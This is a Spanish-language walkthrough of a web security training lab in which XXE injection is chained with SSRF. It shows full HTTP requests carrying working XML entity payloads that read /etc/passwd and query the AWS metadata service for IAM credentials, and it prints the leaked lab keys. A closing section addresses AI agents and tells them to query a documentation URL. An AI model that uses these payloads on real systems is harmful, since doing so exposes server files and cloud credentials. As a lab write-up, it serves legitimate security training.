# Lab 2: Exploiting XXE to perform SSRF attacks

Al acceder al aplicativo web, se puede apreciar el siguiente button:

<figure><img src="/files/ZbKs9Datin3KjZzpHkSU" alt=""><figcaption></figcaption></figure>

Se genera la siguiente peticion:

{% code overflow="wrap" %}

```bash
POST /product/stock HTTP/2
Host: 0a4a00790442213c820d0136009d00d4.web-security-academy.net
Cookie: session=Y9VSlomfzNJKPRChjqGQQZKE0rvGZRX4
Content-Length: 107
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; 
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>
```

{% endcode %}

Y su respuesta es:

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2

17
```

Al detectar la sintaxis de XML, se procede a intentar a realizar inyecciones de XML:

```bash
POST /product/stock HTTP/2
Host: 0a4a00790442213c820d0136009d00d4.web-security-academy.net
Cookie: session=Y9VSlomfzNJKPRChjqGQQZKE0rvGZRX4
Content-Length: 176
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Y se puede apreciar que si es vulnerable:

```bash
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
"
```

Teniendo en cuenta que este servicio si es vulnerable a XXE.

Se procede a intentar realizar una concatenacion de vulnerabilidades de XXE con SSRF y el objetivo es poder comunicarse con el servicio de metadatos de AWS:

```bash
POST /product/stock HTTP/2
Host: 0a4a00790442213c820d0136009d00d4.web-security-academy.net
Cookie: session=Y9VSlomfzNJKPRChjqGQQZKE0rvGZRX4
Content-Length: 181
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4a00790442213c820d0136009d00d4.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

La respuesta de la peticion previa es:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 28

"Invalid product ID: latest"
```

La respuesta previa se puede apreciar la palabra latest asi que la concatenamos a la URL previa:

```
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/"> ]>
```

Y tenemos la siguiente respuesta:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 31

"Invalid product ID: meta-data"
```

Para finalizar, podriamos realizar un consumo asi:

{% code overflow="wrap" %}

```bash
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
```

{% endcode %}

Se puede apreciar la siguiente respuesta:

```json
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2024-07-02T19:31:09.233605849Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "cjX7LLseE7BHsG6oPwPi",
  "SecretAccessKey" : "eWyW71acB4TQmyUn8v2h0G5i18sHp01H5wgVe5iU",
  "Token" : "bulfZ8mXHrikGu0EDiep2D1BdRykvfNFqC6qTAEb4C0nWEUVmkjT4mk73ulNUYVUHYJdBM9Yddbd2KOgdJbDUUy6WgdRbETZ0RVExQxN1ZLku3ha7rtdTqJT5FMaL3RqpQZaCrMWo69dWXQ3eF3dDLPJDDz7wvHR9B7WooJNsnM1DdDothkqMr94VcjGU4xYC86ufziIyxOMnSpK4m90aQAprtUfkKvN6nSswiX2vCIF2jagHGAbBshNYVuLnAuw",
  "Expiration" : "2030-07-01T19:31:09.233605849Z"
}"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/xml-external-entity-xxe-injection/lab-2-exploiting-xxe-to-perform-ssrf-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.